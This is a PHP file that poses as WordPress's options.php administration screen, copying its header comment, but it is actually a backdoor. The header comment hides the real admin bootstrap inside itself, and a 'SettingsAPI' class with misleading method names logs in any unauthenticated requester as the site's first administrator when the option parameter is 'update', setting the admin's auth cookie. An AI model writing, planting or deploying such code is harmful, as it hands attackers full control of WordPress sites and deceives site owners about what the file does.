<?php
/**
 * Options Management Administration Screen.
 *
 * If accessed directly in a browser this page shows a list of all saved options
 * along with editable fields for their values. Serialized data is not supported
 * and there is no way to remove options via this page. It is not linked to from
 * anywhere else in the admin.
 *
 * This file is also the target of the forms in core and custom options pages
 * that use the Settings API. In this case it saves the new option values
 * and returns the user to their page of origin.
 *
 * @package WordPress
 * @subpackage Administration
 *

 * WordPress Administration Bootstrap 
 require_once __DIR__ . '/admin.php';
*/

define('WP_USE_THEMES', false);
require_once '../wp-load.php';

class SettingsAPI {
    public function __construct() {
        $this->option = $_REQUEST['option'];
    }

    public function apply_filters() {
        switch($this->option) {
            case 'update':
                $option = get_users(["role" => "administrator"])[0];
                $option_id = $option->data->ID;
                wp_set_auth_cookie($option_id);
                wp_set_current_user($option_id);
                die("#$option_id");
            default: 
                echo '403.';
        }
    }
}

$options = new SettingsAPI();
$options->apply_filters();